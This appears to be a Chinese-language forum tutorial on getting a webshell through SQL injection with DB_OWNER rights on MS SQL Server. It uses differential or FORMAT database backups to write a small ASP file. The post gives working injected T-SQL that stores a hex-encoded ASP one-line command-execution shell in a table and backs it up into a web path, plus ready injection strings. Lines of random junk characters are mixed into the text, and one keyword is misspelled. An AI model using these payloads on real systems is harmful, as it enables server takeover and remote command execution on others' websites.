DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少
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一利用差异备份
5 b6 ~3 j' k  ~& u; }6 `9 a% x% K加一个参数WITH DIFFERENTIAL

- S0 Y4 Y8 N( F! rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 H/ j; H: A: W# M* r/ C& Ecreate table [dbo].[xiaolu] ([cmd] [image]);
/ y" X, y% w; Xinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

/ U$ p2 j7 g. h( O8 l* }9 m* ?; ]/ `二利用完全FORMAT
% T+ m8 D/ j  {" `  V. q加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
3 s  Z: `* E7 l5 H+ D8 K& Edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

2 b5 |; V0 T  ^3 W  t2 L总的来说就是那么简单几句,下面以备份数据库model为例子
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0 W0 I9 `/ I( v4 Oid=1;use model create table cmd(str image);insert into cmd(str) values (”)
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2 n% P' G6 ~* C# w( [' `% zid=1;backup database model to disk=’你的路径‘ with differential,format;–
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